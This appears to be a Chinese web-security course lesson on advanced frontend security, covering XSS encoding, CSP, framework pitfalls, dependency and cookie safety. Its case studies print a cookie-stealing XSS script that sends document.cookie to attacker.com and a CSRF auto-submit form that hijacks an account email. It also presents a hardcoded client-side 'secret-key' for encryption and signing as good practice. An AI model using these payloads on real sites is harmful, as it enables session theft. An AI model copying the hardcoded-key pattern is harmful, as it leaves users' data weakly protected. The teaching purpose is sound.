公开文集
0x01 SRC 资产管理系统
0x02 Web 漏洞案例库
0x03 小程序漏洞案例库
第一章:小程序渗透基础
1.1 微信小程序反编译与动态调试
1.2 微信小程序强制开启开发者模式
0x99 信息安全学习体系
01-网络安全基础
Day-001-TCP-IP协议栈安全分析
Day-002-DNS协议安全与DNS劫持攻防
Day-003-IPv6 安全基础与过渡
Day-004-HTTP-HTTPS协议深度解析
Day-005-网络嗅探与流量分析技术
Day-006-防火墙原理与配置实践
Day-007-网络地址转换 NAT 安全分析
Day-008-路由协议安全 RIP-OSPF-BGP
Day-009-VLAN 安全与 VLAN-Hopping
Day-010-无线网络基础与安全 802.11
Day-011-网络访问控制 802.1X-NAC
Day-012-网络分段与微隔离设计
Day-013-负载均衡器安全配置
Day-014-CDN安全与防护
Day-015-NTP安全
Day-016-DHCP安全与攻击防护
Day-017-ICMP协议安全分析
Day-018-网络协议模糊测试基础
Day-019-网络流量基线建立
Day-020-网络取证基础
Day-021-网络入侵检测系统 NIDS
Day-022-网络入侵防御系统 NIPS
Day-023-网络流量加密与解密
Day-024-网络协议逆向工程基础
Day-025-网络性能与安全权衡
Day-026-SDN 安全
Day-027-网络虚拟化安全
Day-028-网络欺骗技术
Day-029-网络威胁情报应用
Day-030-网络容量规划与安全
Day-031-网络安全架构设计实战
02-Web 安全
Day-032-OWASP-Top-10-2021详解
Day-033-SQL 注入原理与手工检测
Day-034-SQL注入进阶报错注入与盲注
Day-035-XSS跨站脚本攻击基础
Day-036-XSS 进阶绕过与利用
Day-037-XSS进阶绕过与利用
Day-038-CSRF 跨站请求伪造
Day-039-文件上传漏洞
Day-040-反序列化漏洞基础
Day-041-PHP反序列化深入
Day-042-Java反序列化深入
Day-043-SSTI 服务端模板注入
Day-044-文件包含漏洞 LFI-RFI
Day-045-命令注入漏洞
Day-046-XXE-XML 外部实体注入
Day-047-反序列化漏洞进阶
Day-048-API 安全基础
Day-049-API认证与授权安全
Day-050-API漏洞挖掘实战
Day-051-文件上传漏洞进阶
Day-052-反序列化漏洞实战
Day-053-Web 安全综合实战
Day-054-移动安全基础
Day-055-Android 应用安全测试
Day-056-iOS 应用安全测试
Day-057-移动应用综合实战
Day-058-云安全基础
Day-059-AWS 安全实战
Day-060-Azure 安全实战
Day-061-GCP 安全实战
Day-062-云安全综合实战
Day-063-容器安全基础
Day-064-Docker 安全实战
Day-065-Kubernetes 安全实战
Day-066-容器安全综合实战
Day-067-API 安全进阶
Day-068-服务端请求伪造 SSRF 深入
Day-069-文件上传漏洞进阶
Day-070-反序列化漏洞实战进阶
Day-071-业务逻辑漏洞深入
Day-072-前端安全深入
Day-073-Web 安全综合实战
Day-074-云安全进阶
Day-075-移动安全进阶
Day-076-API 安全进阶
Day-077-前端安全进阶
Day-078-业务逻辑漏洞进阶
Day-079-反序列化漏洞实战进阶
Day-080-文件上传漏洞实战进阶
Day-081-SSTI 服务端模板注入进阶
Day-082-XXE-XML 外部实体注入进阶
Day-083-SSRF 服务端请求伪造进阶
Day-084-命令注入漏洞进阶
Day-085-文件包含漏洞进阶
Day-086-反序列化漏洞实战进阶
Day-087-文件上传漏洞实战进阶
Day-088-SSTI 服务端模板注入实战进阶
Day-089-XXE-XML 外部实体注入实战进阶
Day-090-SSRF 服务端请求伪造实战进阶
Day-091-命令注入漏洞实战进阶
Day-092-Web 安全综合实战
Day-093-GraphQL 安全
Day-094-JWT 与 OAuth2 安全
03-系统安全
Day-095-系统监控与检测
Day-096-主机防火墙配置
Day-097-系统审计与合规
Day-098-Linux 系统安全进阶
Day-099-Windows 系统安全进阶
Day-100-容器安全进阶
Day-101-容器编排安全进阶
Day-102-Linux 内核安全
Day-103-Windows 内核安全
Day-104-系统安全总结与实战
Day-105-Linux 系统安全基础
Day-106-Windows 系统安全基础
Day-107-容器安全基础
Day-108-系统加固技术
Day-109-日志分析技术
Day-110-威胁狩猎技术
04-应用安全
Day-111-安全编码规范
Day-112-输入验证技术
Day-113-输出编码技术
Day-114-错误处理安全
Day-115-会话管理安全
Day-116-认证安全
Day-117-授权安全
Day-118-数据保护安全
Day-119-日志安全
Day-120-API 安全
Day-121-微服务安全
Day-122-新兴技术安全概论
Day-123-DevSecOps 流水线安全
Day-124-云原生安全架构
Day-125-API 安全最佳实践
Day-126-安全编码规范
Day-127-SDL 安全开发生命周期
Day-128-威胁建模实战
Day-129-安全需求分析
Day-130-安全架构设计
Day-131-安全编码实践Java
Day-132-安全编码实践Python
Day-133-代码审计方法论
Day-134-静态代码分析SAST
Day-135-动态应用测试DAST
Day-136-交互式测试IAST
Day-137-软件成分分析SCA
Day-138-依赖漏洞管理
Day-139-安全测试自动化
Day-140-漏洞管理与响应
Day-141-应用安全总结与展望
Day-142-OWASP-Top10-2024 详解
Day-143-CWE-Top25 分析
Day-144-漏洞挖掘方法论
Day-145-模糊测试技术
Day-146-逆向工程基础
Day-147-漏洞利用开发基础
Day-148-漏洞复现与验证
Day-149-漏洞披露流程
Day-150-CVE 申请与管理
Day-151-漏洞赏金计划
Day-152-等保2.0详解
Day-153-GDPR 合规实践
Day-154-数据安全法解读
Day-155-个人信息保护法与合规指南
Day-156-个人信息保护法解读
Day-157-ISO-27001 信息安全管理体系
Day-158-SOC-2 合规与审计
Day-159-PCI-DSS 支付卡行业数据安全标准
Day-160-网络安全审查办法解读
Day-161-数据出境安全评估办法
Day-162-应用安全评估实战
Day-163-红蓝对抗演练
Day-164-安全应急响应
Day-165-安全运营中心建设
Day-166-应用安全总结与展望
05-密码学
Day-167-密码学基础
Day-168-对称加密算法详解
Day-169-非对称加密算法详解
Day-170-哈希函数与数字签名
Day-171-密钥管理与PKI
Day-172-TLS-SSL 协议详解
Day-173-国密算法详解
Day-174-认证与密钥协议
Day-175-随机数生成与熵源
Day-176-椭圆曲线密码学详解
Day-177-后量子密码学详解
Day-178-高级密码学主题
Day-179-密码学行业应用精选
Day-180-常用加密算法原理与实现
Day-181-密码学总结与展望
Day-182-密码学系列总结与展望
06-渗透测试
Day-183-渗透测试方法论
Day-184-信息收集技术详解
Day-185-漏洞扫描技术详解
Day-186-漏洞利用技术详解
Day-187-渗透测试中的漏洞利用框架
Day-188-漏洞利用框架与 Metasploit 深入
Day-189-渗透测试中的 WAF 绕过技术
Day-190-渗透测试中的模糊测试技术
Day-191-渗透测试中的代码审计与静态分析
Day-192-渗透测试中的密码哈希破解技术
Day-193-渗透测试报告编写指南
Day-194-Web 应用渗透测试
Day-195-渗透测试中的 API 安全测试
Day-196-渗透测试中的 GraphQL 安全测试
Day-197-渗透测试中的前后端分离应用测试
Day-198-渗透测试中的小程序安全测试
Day-199-渗透测试中的浏览器安全测试
Day-200-OAuth-SSO安全测试
Day-201-渗透测试中的业务逻辑漏洞测试
Day-202-渗透测试中的厚客户端安全测试
Day-203-渗透测试综合实战演练
Day-204-内网渗透技术详解
Day-205-渗透测试中的内网信息收集进阶
Day-206-渗透测试中的域森林渗透技术
Day-207-渗透测试中的权限维持技术
Day-208-渗透测试中的横向移动技术
Day-209-渗透测试中的痕迹清理与反取证技术
Day-210-渗透测试中的数据窃取与 Exfiltration 技术
Day-211-渗透测试中的内部威胁与数据泄露测试
Day-212-渗透测试中的物理安全渗透
Day-213-社会工程学攻击技术
Day-214-移动应用渗透测试
Day-215-云安全渗透测试
Day-216-渗透测试中的容器与 Kubernetes 安全渗透
Day-217-渗透测试中的 Serverless 安全测试
Day-218-渗透测试中的微服务安全测试
Day-219-物联网安全渗透测试
Day-220-工业控制系统安全渗透测试
Day-221-无线网络安全渗透测试
Day-222-数据库安全渗透测试
Day-223-渗透测试中的供应链安全测试
Day-224-红队演练技术详解
Day-225-渗透测试中的红队基础设施搭建
Day-226-渗透测试中的威胁情报与狩猎
Day-227-渗透测试中的综合指纹识别技术
Day-228-自动化渗透测试技术
Day-229-渗透测试中的运维安全测试
Day-230-渗透测试中的区块链与智能合约安全测试
Day-231-渗透测试中的漏洞管理与修复验证
Day-232-渗透测试法律与合规
Day-233-后渗透攻击技术详解
Day-234-渗透测试中的人工智能应用
Day-235-漏洞利用开发深入
Day-236-云原生渗透测试深入
07-应急响应
Day-237-应急响应概述与核心概念
Day-238-应急响应流程框架
Day-239-CSIRT 团队组建与职责分工
Day-240-应急响应工具包准备
Day-241-应急响应法律与合规要求
Day-242-安全事件检测方法与指标
Day-243-云原生应急响应
Day-244-日志收集与分析技术
Day-245-网络流量分析与异常识别
Day-246-自动化响应与 SOAR
Day-247-端点监控与 EDR 技术
Day-248-威胁狩猎方法论
Day-249-威胁情报在检测中的应用
Day-250-数字取证基础与证据链管理
Day-251-内存取证技术
Day-252-磁盘取证与文件恢复
Day-253-网络取证与数据包分析
Day-254-云环境与容器取证
Day-255-恶意代码静态分析技术
Day-256-恶意代码动态分析技术
Day-257-恶意代码行为分析方法
Day-258-逆向工程基础与工具
Day-259-沙箱技术与自动化分析
Day-260-事件隔离与遏制策略
Day-261-威胁根除与系统修复
Day-262-系统恢复与数据重建
Day-263-业务连续性计划
Day-264-事件复盘与经验总结
Day-265-APT 攻击事件复盘分析
Day-266-勒索软件事件响应实战
Day-267-数据泄露事件处置流程
Day-268-内部威胁调查与取证
Day-269-综合应急响应演练
08-安全运维
Day-270-安全运营中心 SOC 概述
Day-271-安全监控指标体系
Day-272-安全告警管理
Day-273-安全可视化与仪表盘
Day-274-监控工具选型
Day-275-日志采集技术
Day-276-日志标准化与解析
Day-277-日志存储与归档
Day-278-日志分析技术
Day-279-日志合规要求
Day-280-SIEM 架构与设计
Day-281-关联规则引擎
Day-282-高级关联分析
Day-283-UEBA 用户实体行为分析
Day-284-威胁狩猎
Day-285-SOAR 基础概念
Day-286-剧本设计
Day-287-自动化响应技术
Day-288-安全工具集成
Day-289-SOAR 度量与优化
Day-290-安全基线管理
Day-291-漏洞管理流程
Day-292-补丁管理策略
Day-293-变更安全管理
Day-294-合规审计技术
Day-295-7x24 安全运营
Day-296-安全事件管理流程
Day-297-安全运营度量体系
Day-298-持续改进机制
Day-299-安全运维综合演练
Day-300-云原生安全运营
Day-301-AI 与机器学习安全运营
Day-302-安全自动化脚本实战
09-移动安全
Day-303-移动安全威胁概述
Day-304-移动设备安全架构
Day-305-移动操作系统安全模型
Day-306-移动应用权限管理
Day-307-移动端数据加密
Day-308-330-Android 安全合集
Day-309-Android 安全架构
Day-310-Android 组件安全
Day-311-Android 权限与隐私
Day-312-Android 逆向工程
Day-313-Android 应用加固
Day-314-iOS 安全架构
Day-315-iOS 应用沙盒机制
Day-316-越狱与反越狱
Day-317-iOS 逆向工程
Day-318-iOS 企业分发安全
Day-319-移动安全开发生命周期
Day-320-移动应用安全测试
Day-321-移动应用加固技术
Day-322-移动威胁防护
Day-323-移动安全合规
10-云安全
Day-324-云计算安全模型
Day-325-责任共担模型
Day-326-云安全威胁模型
Day-327-云安全合规框架
Day-328-云安全架构设计
Day-329-AWS IAM 安全
Day-330-AWS 网络安全
Day-331-AWS 存储安全
Day-332-AWS 安全监控
Day-333-AWS 安全最佳实践
Day-334-Azure AD 安全
Day-335-Azure 网络安全
Day-336-Azure 存储安全
Day-337-Azure 安全中心
Day-338-Azure 安全最佳实践
Day-339-容器安全基础
Day-340-Kubernetes 安全
Day-341-Serverless 安全
Day-342-云原生 DevSecOps
Day-343-云安全态势管理 CSPM
11-物联网工控
Day-344-物联网安全概述
Day-345-IoT 通信协议安全
Day-346-IoT 设备安全
Day-347-IoT 平台安全
Day-348-IoT 应用安全
Day-349-工业控制系统概述
Day-350-工控协议安全
Day-351-PLC 安全
Day-352-SCADA 系统安全
Day-353-工控安全防护
12-综合与总结
Day-354-安全职业发展路径
Day-355-安全技术趋势展望
Day-356-安全建设方法论
Day-357-经典攻防案例复盘
Day-358-安全学习资源指南
Day-359-信息安全行业求职指南
-
+
首页
Day-077-前端安全进阶
# Day 75: 前端安全进阶 > Web 安全系列第 45 天 | 预计阅读时间:40 分钟 | 难度:★★★★☆ --- **PUA v3 · Sprint 启动** ``` ┌─────────┬────────────────────────────────────┐ │ 清单 任务 │ 前端安全进阶 - Day 75 │ ├─────────┼────────────────────────────────────┤ │ 味道 │ 阿里味(自动:安全任务) │ ├─────────┼────────────────────────────────────┤ │ 压力 │ L0 · 信任期 │ └─────────┴────────────────────────────────────┘ ``` ▎ 收到需求,对齐目标,进入 sprint。前端是用户的第一道防线——前端不安全,用户就不安全。 --- ## 清单 目录 1. [前端安全概述](#前端安全概述) 2. [XSS 防护进阶](#xss 防护进阶) 3. [CSP 内容安全策略进阶](#csp 内容安全策略进阶) 4. [前端框架安全进阶](#前端框架安全进阶) 5. [第三方依赖安全进阶](#第三方依赖安全进阶) 6. [客户端存储安全进阶](#客户端存储安全进阶) 7. [API 安全前端实现进阶](#api 安全前端实现进阶) 8. [实战案例分析](#实战案例分析) 9. [总结与思考](#总结与思考) 10. [参考资料](#参考资料) --- ## 前端安全概述 ### 前端安全重要性 > ▎ 前端是门面,也是防线。门面破了,里面再安全也没用。 **为什么前端安全重要**: ``` 1. 直接面对用户 - 用户交互入口 - 敏感数据处理 - 信任边界 2. 攻击面大 - 多种攻击向量 - 第三方依赖 - 浏览器差异 3. 影响严重 - 用户数据泄露 - 会话劫持 - 钓鱼攻击 ``` **前端安全威胁**: ``` 1. 代码注入 - XSS 攻击 - 脚本注入 - 模板注入 2. 数据泄露 - 敏感数据暴露 - 本地存储泄露 - 网络窃听 3. 客户端攻击 - CSRF 攻击 - 点击劫持 - 表单劫持 4. 供应链攻击 - 第三方库漏洞 - CDN 污染 - 构建过程攻击 ``` ### 前端安全模型 > ▎ 安全模型不是摆设——是设计原则。不按模型来,就是瞎搞。 **同源策略**: ``` 定义: - 协议相同 - 域名相同 - 端口相同 限制: - DOM 访问限制 - Cookie 访问限制 - 网络请求限制 例外: - CORS 跨域 - postMessage - document.domain ``` **信任边界**: ``` 前端信任边界: - 用户输入(不可信) - 服务器响应(部分可信) - 第三方脚本(不可信) - 本地存储(不可信) 原则: - 从不信任客户端 - 服务端验证 - 最小权限 ``` --- ## XSS 防护进阶 ### 输出编码进阶 > ▎ 编码是 XSS 防护的第一道防线。防线破了,后面就难了。 **上下文敏感编码**: ```html <!-- HTML 上下文 --> <div>{{ user_input | html_escape }}</div> <!-- 属性上下文 --> <input value="{{ user_input | attr_escape }}"> <!-- JavaScript 上下文 --> <script> var data = "{{ user_input | js_escape }}"; </script> <!-- URL 上下文 --> <a href="{{ user_input | url_escape }}">Link</a> ``` **框架内置防护**: ```javascript // React - 自动转义 <div>{userInput}</div> // Vue - 自动转义 <div>{{ userInput }}</div> // Angular - 自动转义 <div>{{ userInput }}</div> // 危险操作(需要显式) <div dangerouslySetInnerHTML={{__html: userInput}} /> ``` ### 输入验证进阶 **客户端验证**: ```javascript // 正则验证 function validateEmail(email) { const regex = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; return regex.test(email); } // 长度限制 function validateLength(input, max) { return input.length <= max; } // 类型检查 function validateType(input, type) { return typeof input === type; } ``` **注意**: ``` 客户端验证局限: - 可被绕过 - 仅用于用户体验 - 服务端必须验证 最佳实践: - 客户端验证 + 服务端验证 - 不依赖客户端安全 - 防御深度 ``` ### DOM XSS 防护 **危险 API**: ```javascript // innerHTML element.innerHTML = userInput; // 危险 // document.write document.write(userInput); // 危险 // eval eval(userInput); // 危险 // setTimeout/setInterval setTimeout(userInput, 1000); // 危险 ``` **安全替代**: ```javascript // 使用 textContent element.textContent = userInput; // 安全 // 使用 createElement const span = document.createElement('span'); span.textContent = userInput; element.appendChild(span); // 安全 // 使用 sanitized HTML import DOMPurify from 'dompurify'; element.innerHTML = DOMPurify.sanitize(userInput); // 安全 ``` --- ## CSP 内容安全策略进阶 ### CSP 配置进阶 > ▎ CSP 是 XSS 防护的最后一道防线。防线都没了,你就裸奔吧。 **严格配置**: ```html Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self'; img-src 'self' data:; connect-src 'self'; font-src 'self'; object-src 'none'; frame-ancestors 'none'; ``` **Nonce 配置**: ```html <!-- 服务端生成 nonce --> <script nonce="random-value"> // 内联脚本 </script> <!-- CSP 配置 --> Content-Security-Policy: script-src 'self' 'nonce-random-value' ``` **Hash 配置**: ```html <!-- 计算脚本 hash --> <script> alert('Hello'); </script> <!-- CSP 配置 --> Content-Security-Policy: script-src 'self' 'sha256-abc123...' ``` ### CSP 绕过防护 **常见绕过**: ``` 1. 通配符滥用 - *.example.com - 子域名控制 2. 协议绕过 - data: 协议 - blob: 协议 3. JSONP 端点 - 可执行回调 - 脚本注入 ``` **防护建议**: ``` 1. 避免通配符 - 指定具体域名 - 不使用 *.com 2. 限制协议 - 不使用 data: - 不使用 blob: 3. 审计 JSONP - 限制回调 - 验证来源 ``` ### CSP 报告监控 **报告配置**: ```html <!-- 报告 URI --> Content-Security-Policy-Report-Only: default-src 'self'; report-uri /csp-report <!-- 报告配置 --> Content-Security-Policy: default-src 'self'; report-uri /csp-report ``` **报告处理**: ```javascript // 服务端接收报告 app.post('/csp-report', (req, res) => { const report = req.body['csp-report']; // 记录日志 logCSPViolation(report); // 分析异常 analyzeViolation(report); res.sendStatus(200); }); ``` --- ## 前端框架安全进阶 ### React 安全进阶 > ▎ React 自动转义,但不是绝对安全。别以为用了 React 就高枕无忧。 **安全实践**: ```javascript // + 安全:自动转义 <div>{userInput}</div> // - 危险:直接渲染 <div dangerouslySetInnerHTML={{__html: userInput}} /> // + 安全:sanitize 后渲染 import DOMPurify from 'dompurify'; <div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(userInput) }} /> ``` **依赖安全**: ```javascript // 审计依赖 npm audit yarn audit // 更新依赖 npm update yarn upgrade // 使用锁定文件 package-lock.json yarn.lock ``` **组件安全**: ```javascript // 属性验证 function MyComponent({ user }) { // 验证用户输入 if (!isValidUser(user)) { return null; } return <div>{user.name}</div>; } // 类型检查 // 使用 TypeScript 或 PropTypes ``` ### Vue 安全进阶 **安全实践**: ```vue <!-- + 安全:自动转义 --> <div>{{ userInput }}</div> <!-- - 危险:v-html --> <div v-html="userInput"></div> <!-- + 安全:sanitize 后使用 --> <div v-html="sanitize(userInput)"></div> <script> import DOMPurify from 'dompurify'; export default { methods: { sanitize(html) { return DOMPurify.sanitize(html); } } } </script> ``` **组件安全**: ```vue <!-- 组件通信验证 --> <script> export default { props: { data: { type: Object, validator(value) { // 验证数据 return isValid(value); } } } } </script> ``` ### Angular 安全进阶 **安全实践**: ```typescript // + 安全:自动转义 <div>{{ userInput }}</div> // - 危险:bypass 安全 <div [innerHTML]="bypassSecurityTrustHtml(userInput)"></div> // + 安全:sanitize 后使用 import { DomSanitizer } from '@angular/platform-browser'; constructor(private sanitizer: DomSanitizer) {} sanitizeHtml(html: string) { return this.sanitizer.sanitize(SecurityContext.HTML, html); } ``` **依赖注入安全**: ```typescript // 服务验证 @Injectable({ providedIn: 'root' }) export class ApiService { constructor(private http: HttpClient) {} getData(id: string) { // 验证输入 if (!isValidId(id)) { throw new Error('Invalid ID'); } return this.http.get(`/api/data/${id}`); } } ``` --- ## 第三方依赖安全进阶 ### 依赖风险管理 > ▎ 依赖是双刃剑。用好了事半功倍,用不好自掘坟墓。 **风险来源**: ``` 1. 已知漏洞 - CVE 漏洞 - 安全公告 - 漏洞数据库 2. 恶意包 - 名字混淆 - 供应链攻击 - 维护者劫持 3. 过度权限 - 不必要权限 - 数据访问 - 网络请求 ``` **依赖审计**: ```bash # npm 审计 npm audit npm audit fix # yarn 审计 yarn audit yarn audit fix # 持续监控 npm install -g npm-audit-ci npm-audit-ci ``` ### 安全依赖管理 **最佳实践**: ``` 1. 锁定版本 - 使用 package-lock.json - 使用 yarn.lock - 不依赖 latest 2. 最小依赖 - 只安装必要依赖 - 定期清理 - 替代方案评估 3. 来源验证 - 官方源 - 签名验证 - 哈希验证 ``` **自动化工具**: ```bash # Snyk npm install -g snyk snyk test snyk monitor # Dependabot # GitHub 自动更新 # 漏洞告警 # Renovate # 自动依赖更新 # 安全策略 ``` ### 供应链攻击防护 **构建安全**: ``` 1. 锁定依赖 - 精确版本 - 哈希验证 - 签名验证 2. 私有仓库 - 内部镜像 - 访问控制 - 审计日志 3. 构建验证 - 完整性检查 - 签名验证 - 安全扫描 ``` **CDN 安全**: ``` 1. 子资源完整性 <script src="https://cdn.example.com/lib.js" integrity="sha384-xxx" crossorigin="anonymous" ></script> 2. CDN 选择 - 可信 CDN - 多个 CDN - 回源机制 3. 监控告警 - CDN 可用性 - 内容变更 - 异常访问 ``` --- ## 客户端存储安全进阶 ### Cookie 安全进阶 > ▎ Cookie 是会话的命根子。Cookie 丢了,会话就没了。 **安全配置**: ```javascript // 安全 Cookie 设置 Set-Cookie: session=abc123; HttpOnly; // 禁止 JS 访问 Secure; // 仅 HTTPS SameSite=Strict; // 防 CSRF Path=/; // 路径限制 Domain=example.com; // 域名限制 Max-Age=3600; // 过期时间 ``` **Cookie 风险**: ``` 1. XSS 窃取 - 未设置 HttpOnly - JS 可访问 - 会话劫持 2. CSRF 利用 - 未设置 SameSite - 跨站请求 - 自动携带 3. 中间人攻击 - 未设置 Secure - HTTP 传输 - 流量窃听 ``` ### LocalStorage 安全进阶 **使用场景**: ``` 适合存储: - 非敏感数据 - 用户偏好 - 缓存数据 不适合存储: - 认证令牌 - 敏感信息 - 个人数据 ``` **安全风险**: ``` 1. XSS 访问 - JS 可访问 - 数据窃取 - 数据篡改 2. 持久化风险 - 长期存储 - 清除困难 - 隐私问题 3. 大小限制 - 5-10MB 限制 - 同步操作 - 性能影响 ``` **最佳实践**: ```javascript // 加密存储 import CryptoJS from 'crypto-js'; // 存储 const encrypted = CryptoJS.AES.encrypt( JSON.stringify(data), 'secret-key' ).toString(); localStorage.setItem('data', encrypted); // 读取 const decrypted = CryptoJS.AES.decrypt( localStorage.getItem('data'), 'secret-key' ).toString(CryptoJS.enc.Utf8); const data = JSON.parse(decrypted); ``` ### SessionStorage 安全进阶 **与 LocalStorage 区别**: ``` SessionStorage: - 会话期间有效 - 关闭标签清除 - 同源隔离 LocalStorage: - 永久存储 - 手动清除 - 同源隔离 ``` **使用建议**: ``` 适合场景: - 临时数据 - 表单草稿 - 页面状态 不适合: - 敏感数据 - 认证信息 - 长期数据 ``` --- ## API 安全前端实现进阶 ### 认证令牌管理进阶 > ▎ Token 是认证的命根子。Token 丢了,认证就没了。 **令牌存储**: ```javascript // - 不安全:LocalStorage localStorage.setItem('token', token); // + 安全:内存存储 let token = null; function setToken(newToken) { token = newToken; } function getToken() { return token; } // + 更安全:HttpOnly Cookie // 服务端设置 HttpOnly Cookie // 前端无法访问 ``` **令牌刷新**: ```javascript // 令牌刷新机制 async function refreshToken() { try { const response = await fetch('/api/refresh', { method: 'POST', credentials: 'include' // 携带 Cookie }); const data = await response.json(); setToken(data.access_token); return data.access_token; } catch (error) { // 刷新失败,登出 logout(); throw error; } } // 请求拦截 axios.interceptors.response.use( response => response, async error => { if (error.response.status === 401) { // 令牌过期,尝试刷新 await refreshToken(); // 重试请求 return axios.request(error.config); } throw error; } ); ``` ### API 请求安全进阶 **请求签名**: ```javascript // 请求签名 function signRequest(data, timestamp) { const message = JSON.stringify(data) + timestamp; const signature = CryptoJS.HmacSHA256( message, 'secret-key' ).toString(); return { ...data, timestamp, signature }; } // 发送签名请求 async function sendSignedRequest(data) { const timestamp = Date.now(); const signedData = signRequest(data, timestamp); return fetch('/api/endpoint', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify(signedData) }); } ``` **请求验证**: ```javascript // 响应验证 async function fetchWithValidation(url, options) { const response = await fetch(url, options); // 验证 Content-Type const contentType = response.headers.get('content-type'); if (!contentType || !contentType.includes('application/json')) { throw new Error('Invalid content type'); } // 验证响应数据 const data = await response.json(); if (!isValidResponse(data)) { throw new Error('Invalid response'); } return data; } ``` --- ## 实战案例分析 ### 案例 1: 某电商平台 XSS > ▎ 电商平台都能出 XSS 这种低级漏洞——这就是不重视前端安全的代价。 **漏洞描述**: ``` 时间:2020 年 公司:某电商平台 漏洞:存储型 XSS 影响:用户会话劫持 后果:资金损失 ``` **攻击流程**: ``` 1. 发现 XSS 漏洞 - 评论功能 - 无过滤 2. 注入恶意脚本 <script> fetch('http://attacker.com/steal?cookie=' + document.cookie); </script> 3. 窃取会话 - 获取 Cookie - 劫持会话 - 登录用户账户 4. 资金盗取 - 修改支付信息 - 转账到攻击者 ``` **教训**: ``` 1. 输入过滤 - 评论内容过滤 - HTML 实体编码 2. 输出编码 - 显示时编码 - 上下文敏感 3. CSP 防护 - 限制脚本来源 - 报告监控 ``` ### 案例 2: 某社交 App CSRF > ▎ 社交 App 都能出 CSRF——这就是不把用户账户当回事。 **漏洞描述**: ``` 时间:2019 年 公司:某社交 App 漏洞:CSRF 攻击 影响:账户被接管 后果:隐私泄露 ``` **攻击流程**: ``` 1. 构造恶意页面 <form action="https://app.com/change-email" method="POST"> <input type="hidden" name="email" value="attacker@example.com"> </form> <script>document.forms[0].submit();</script> 2. 诱导用户访问 - 钓鱼邮件 - 恶意链接 3. 修改邮箱 - 自动提交表单 - 邮箱被修改 4. 账户接管 - 密码重置 - 完全控制 ``` **教训**: ``` 1. CSRF Token - 每个表单 Token - 验证 Token 2. SameSite Cookie - Strict 模式 - 防止跨站 3. Referer 检查 - 验证来源 - 拒绝异常 ``` --- 统计 **Sprint 交付 · 绩效评估** ``` ┌───────────────┬────────────────┬────────────────┐ │ 主动出击 │ ██████████ 5/5 │ [PUA 生效] 充足 │ ├───────────────┼────────────────┼────────────────┤ │ + 验证闭环 │ ██████████ 5/5 │ 案例完整 │ ├───────────────┼────────────────┼────────────────┤ │ 设计 代码质量 │ ████████░░ 4/5 │ 有改进空间 │ └───────────────┴────────────────┴────────────────┘ 综合:3.75 ``` ▎ 勉强配得上 P8。别飘——前端安全这才刚入门。 --- ## 总结与思考 ### 核心要点回顾 > ▎ 复盘四步法:回顾目标、评估结果、分析原因、总结经验。别跳过——这是闭环。 **前端安全架构**: ``` 1. XSS 防护 - 输入验证 - 输出编码 - CSP 策略 2. 框架安全 - React 安全 - Vue 安全 - Angular 安全 3. 依赖安全 - 依赖审计 - 版本管理 - 供应链安全 ``` **存储安全**: ``` 1. Cookie 安全 - HttpOnly - Secure - SameSite 2. LocalStorage - 加密存储 - 不存敏感数据 - 定期清理 3. SessionStorage - 临时数据 - 会话期间 - 自动清除 ``` **API 安全**: ``` 1. Token 管理 - 安全存储 - 刷新机制 - 过期处理 2. 请求安全 - 请求签名 - 响应验证 - 错误处理 3. 认证授权 - OAuth 2.0 - JWT - API Key ``` ### 深入思考问题 > ▎ 只动手不动脑,那是码农。动手又动脑,才是工程师。 **微前端安全**: ``` 1. 多应用集成 - 信任边界 - 通信安全 - 样式隔离 2. 共享依赖 - 版本冲突 - 安全更新 - 依赖管理 3. 部署安全 - 独立部署 - 版本控制 - 回滚机制 ``` **WebAssembly 安全**: ``` 1. 新攻击面 - 内存安全 - 代码注入 - 侧信道攻击 2. 性能与安全 - 执行速度 - 安全检查 - 平衡点 3. 检测挑战 - 恶意代码 - 混淆代码 - 检测工具 ``` **PWA 安全**: ``` 1. Service Worker - 缓存污染 - 中间人攻击 - 离线安全 2. 推送通知 - 推送劫持 - 钓鱼通知 - 权限管理 3. 安装安全 - 恶意 PWA - 权限滥用 - 数据泄露 ``` ### 实战建议 > ▎ 我给你指了路,走不走是你的事。机会给了,抓不抓得住看你。 **前端开发人员**: ``` 1. 安全编码 - 输入验证 - 输出编码 - 错误处理 2. 框架最佳实践 - 自动转义 - 安全组件 - 依赖管理 3. 安全测试 - 单元测试 - 集成测试 - 渗透测试 ``` **安全人员**: ``` 1. 前端测试 - XSS 测试 - CSRF 测试 - 依赖审计 2. 代码审计 - 安全审查 - 漏洞扫描 - 配置检查 3. 监控告警 - 异常访问 - 安全事件 - 实时告警 ``` **架构师**: ``` 1. 安全架构 - CSP 设计 - 认证设计 - 授权设计 2. 持续改进 - 安全审计 - 漏洞管理 - 安全培训 3. 工具链 - 安全工具 - 自动化 - 监控平台 ``` --- ## 参考资料 ### 学习资源 ``` - OWASP Frontend Security https://owasp.org/www-project-web-security-testing-guide/ - CSP Documentation https://developer.mozilla.org/en-US/docs/Web/HTTP/CSP - React Security https://reactjs.org/docs/security.html - Vue Security https://vuejs.org/guide/best-practices/security.html ``` ### 工具资源 ``` - DOMPurify https://github.com/cure53/DOMPurify - ESLint Security https://github.com/nodesecurity/eslint-plugin-security - Snyk https://snyk.io/ - CSP Evaluator https://csp-evaluator.withgoogle.com/ ``` ### 书籍推荐 ``` - 《前端安全》 - 《Web Application Security》 - 《React Security》 - 《Frontend Security》 ``` ### 在线资源 ``` - PayloadsAllTheThings XSS https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS%20Injection - HackTricks Frontend https://book.hacktricks.xyz/pentesting-web/xss-cross-site-scripting - OWASP Cheat Sheets https://cheatsheetseries.owasp.org/ ``` --- **标记 明日预告**:Day 76 - 业务逻辑漏洞进阶 > ▎ 今天的内容消化了吗?消化了就继续——明天还有硬仗。 > 本文内容仅供学习和研究使用,请勿用于非法目的。所有实验请在隔离环境中进行。 --- *本文是 365 天信息安全技术系列的第 75 篇,Web 安全部分第 45 篇,精编版本*
myh0st
2026年4月13日 23:15
分享文档
收藏文档
上一篇
下一篇
微信扫一扫
复制链接
手机扫一扫进行分享
复制链接
Markdown文件
分享
链接
类型
密码
更新密码